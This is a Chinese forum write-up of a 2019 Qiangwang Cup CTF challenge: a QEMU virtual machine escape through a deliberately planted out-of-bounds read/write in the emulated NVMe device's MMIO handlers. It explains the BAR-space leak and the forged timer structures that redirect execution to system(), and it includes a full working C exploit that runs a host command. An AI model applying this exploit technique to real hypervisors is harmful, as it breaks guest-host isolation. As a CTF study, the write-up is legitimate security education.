首页
论坛
专栏
课程

[原创]2019强网杯线下赛qemu虚拟机逃逸

2019-7-2 12:18 3726

[原创]2019强网杯线下赛qemu虚拟机逃逸

2019-7-2 12:18
3726

题目描述

该题以qemu虚拟机软件的某CVE漏洞为参考,在qemu某模块中置入存在漏洞的代码,导致一些不可预测的执行流程,从而完成虚拟机逃逸攻击。选手需要在运行在qemu虚拟机中的ubuntu操作系统下进行逃逸操作,尝试触发漏洞并在宿主机(Deepin Linux)中执行任意代码。

题目给出了宿主机(Deepin Linux)的虚拟机镜像。在宿主机上运行qemu虚拟机中的ubuntu操作系统。题目要求在ubuntu操作系统中执行程序进行逃逸操作,在宿主机(Deepin Linux)中使用chrome打开本地某页面。


比赛时队里大佬做了出来。本菜鸡赛后找了点时间分析了一下。

漏洞点探索:

diff的尝试:
查看漏洞程序版本,下载同版本qemu代码进行编译。粗略的diff后发现存在大量的改动。无法定位漏洞位置。

查看qemu命令启动行

./qemu-system-x86_64 -m 1024 -smp 2 -boot c -cpu host -hda ubuntu_server.qcow2 --enable-kvm -drive file=./blknvme,if=none,id=D22 -device nvme,drive=D22,serial=1234 -net user,hostfwd=tcp::2222-:22 -net nic

根据-device nvme 猜测漏洞可能出现在对nvme设备模拟的函数中。对nvme系列函数进行分析发现nvme_mmio_read及nvme_mmio_write相较正常版本中未对请求访问的地址进行校验。可能存在越界读写漏洞。

正常版本nvme_mmio_read部分


漏洞版本nvme_mmio_read部分


漏洞函数触发:

nvme与bar空间

同普通的ctf赛题不同,普通pwn题会有菜单或逻辑简单容易分析。能够随心所欲的选择程序流程。所以下一步需要考虑如何触发漏洞函数。
经查阅资料得知,这两个函数用于对设备bar空间进行读写。

在此需要先了解nvme设备的基础结构

nvme是一种控制协议。用于访问通过PCI-Express(PCIe)总线附加的非易失性内存介质(SSD设备)

PCIe的Header空间和BAR空间是PCIe得以广泛使用的关键特性。

Header空间是PCIe设备的通有属性,所有的PCIe Spec功能和规范都在这里实现,PCIe Header空间中有几个寄存器专门用来存储BAR空间地址,一个PCIe设备有6个32位BAR寄存器

BAR空间是PCIe设备体现自己功能的地方。NVMe协议在BAR空间上定义了一系列的寄存器。有了这些寄存器,Host就可以与NVMe SSD的Controller进行交互了。

NVME设置BAR空间上寄存器。将BAR空间使用mmio方式映射到系统地址空间。用户打开设备,mmap后即可使用普通的访存指令直接访问设备的寄存器。

dev->bar = ioremap(pci_resource_start(pdev, 0), 8192);

此后,驱动就可以通过dev->bar加上寄存器的偏移地址(如Controller Status的偏移地址是0x1C),使用writel,readl这类函数访问Controller寄存器了。

关于pcie更多信息请自行搜索。。大意就是设备将bar空间映射在host内存中。host通过这个空间与设备交互。

访问bar空间


在nvme驱动初始化过程中,做了有以下几件事情:

1)将BAR空间使用mmio方式映射到系统地址空间

2)host 发送第一次identify命令,获取controller 等配置,这些配置信息包括namespace个数

3)host 接下来针对每个namespace 发送identify 命令,获取每个namaspace的配置信息。通过add_disk()将每个namespace 加入到块设备层,IO就可以开始对其进行访问。

在/sys/module目录下一路跟随nvme目录能够进入设备文件所在文件夹0000:00:04.0



其中


config 是配置空间对用户的接口。

 resource0, resource1, resource2 等是从"PCI 配置空间"解析出来的资源定义段落分别生成的,它们是 PCI 总线驱动在 PCI 设备初始化阶段加上去的,都是二进制属性,但没有实现读写接口,只支持 mmap 内存映射接口,尝试进行读写会提示 IO 错误,它们用于作应用程序的内存映射,就可以访问对应的 PCI 设备上相应的内存资源段落

经观察resource0大小正好为8192,与bar空间吻合。

提前使用gdb附加qemu,在nvme_mmio_write上下断点,打开此设备通过mmap方式写入。断点触发,判定resource0文件即为bar空间内存映射。通过mmap的方式使用访存指令即可与nvme设备交互。触发漏洞函数

漏洞利用

信息泄露

通过gdb分析,qemu使用堆来模拟bar空间(使用读写文件来模拟硬盘不知真假23333)。

通过堆越界读的方式我们可以得知bar空间的地址及程序加载基址,通过基址与system plt地址相加得到system地址。


控制程序流程

堆的越界写存在限制。只能进行堆上的编辑。


简单的了解了下bar空间的使用原理

NVMe的Bar空间地址分配如下:前0x1000都是寄存器空间,之后是SQ,CQ队列的doorbell。

* NVMe Controller Registers *

NVME_CAP       = 0x0000, /* Controller Capabilities, 64bit */

NVME_CMD_SS    = 0x0F00, /* Command Set Specific*/

NVME_SQ0TDBL   = 0x1000, /* SQ 0 Tail Doorbell, 32bit (Admin) */

NVME_CQ0HDBL   = 0x1004, /* CQ 0 Head Doorbell, 32bit (Admin)*/

NVME_SQ1TDBL   = 0x1008, /* SQ 1 Tail Doorbell, 32bit */

NVME_CQ1HDBL   = 0x100c, /* CQ 1 Head Doorbell, 32bit */

NVME_SQMAXTDBL = (NVME_SQ0TDBL + 8 * NVME_MAX_QID),

NVME_CQMAXHDBL = (NVME_CQ0HDBL + 8 * NVME_MAX_QID)

};

当host需要设备完成任务时,将任务插入SQ队列。将任务完成后,将返回信息进入CQ队列。

doorbell用于记录队列的head和tail。同时具有通知作用,当写入此地址时,代表队列有新的指令来了需要处理,会设置定时器进行执行。

插入队列同时更新对应doorbell地址。设置定时器。

其中SQ队列在bar前0x1000字节中。我们可以写入伪造。再返回漏洞函数。发现写入0x1000以上doorbell区域时会进入process_db函数。此函数即为doorbell工作函数。

选择触发0x1000位置的SQ0 doorbell。分析process_db函数可以得到SQ队列数组的地址0xb90-0xac0=0xd0.即bar空间偏移0xd0位置。


v9未分析。v14参数我们可以通过越界写入伪造。伪造v14参数(SQ队列)为堆上某空白地址sq。将sq+0x14地址写入0xffffffff保证v9校验通过。进入timer_mod函数。


进入timer_mod_ns函数,参数a1可控制。

之后流程不一一介绍。

nvme_mmio_write->process_db->timer_mod->timer_mod_ns->timerlist_rearm->timerlist_notify.


在 timerlist_notify中找到地址调用。此时参数a1依旧可控。根据定时任务猜测a1参数为time_list结构体。

使a1+0x58位置为system函数。使a1+0x60为堆上某地址(写入命令)。即可完成利用。

利用程序

#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <fcntl.h>

char* base;
char cmd[] = "deepin-calculator\0";

void write_dword(long long addr, long  value)
{
	*((long *)(base + addr)) = value;
}


void write_qword(long long addr, long long value)
{
	*((long long*)(base + addr)) = value;
}

long long read_dword(long long addr)
{
	return *((long long*)(base + addr));
}


int main()
{
	int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
	base = mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
	long long elf_ptr = read_dword(0x11C0);
	long long elf_base = elf_ptr - 0x760b44;
	long long system = elf_base + 0x2BC600;
	printf("ELF:0x%llx\n", elf_base);

	long long heap_ptr = read_dword(0x170);
	long long bar = heap_ptr - 0xe0;
	printf("Bar base : 0x%llx\n", bar);
	int offset = 0x400;
	int sq_offset = 0x420;
	int timer_offset = 0x500;
	int timerlist_offset = 0x580;
	int cmd_offset = 0x700;
	
	write_qword(0xd0, bar+offset);
	write_qword(offset, bar+sq_offset);
	write_dword(sq_offset+0x14, 0xFFFFFFFF);
	write_qword(sq_offset+0x20, bar+timer_offset);

for (int i = 0; i < strlen(cmd); i+=8) {
		write_qword(cmd_offset+i, *(long long *)(cmd+i));
	}
	write_qword(timer_offset+8, bar+timerlist_offset);
	write_qword(timerlist_offset+0x0, bar+0x600);
	write_dword(timerlist_offset+0x3C, 0x1);
	write_qword(timerlist_offset+0x40, 0);
	write_qword(timerlist_offset+0x58, system);
	write_qword(timerlist_offset+0x60, bar+cmd_offset);

	write_dword(0x1000, 0);
	return 0;
}

结果


完整题目附件太大。上传不了。可以自己下一个内核,文件系统。实验一下2333333


漏洞文件:链接: https://pan.baidu.com/s/1teNRfvwkTSyfLLqZGOwvsA 提取码: 4bic 




[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2019-7-2 14:39 被Ezrak1e编辑 ,原因:
最新回复 (6)
葫芦娃 1 2019-7-2 14:53
2
0
V1NKe 2 2019-7-2 21:05
3
0
freesec 2019-7-18 14:46
4
0
请问第30行的0x11C0是什么思路呢,我想你的思路是不是这里存储一个范围在qemu image本身加载的地址范围内,而且和qemu基址即便重启后的差值也是固定(0x760b44)的地址
Ezrak1e 4 2019-7-18 18:40
5
0
freesec 请问第30行的0x11C0是什么思路呢,我想你的思路是不是这里存储一个范围在qemu image本身加载的地址范围内,而且和qemu基址即便重启后的差值也是固定(0x760b44)的地址
那个11c0地址保存的值和elf加载地址偏移固定。
CCinterrupt 2019-7-20 18:45
6
0
膜拜大佬
Jvali 2019-7-24 19:53
7
0
膜拜膜拜
游客
登录 | 注册 方可回帖
返回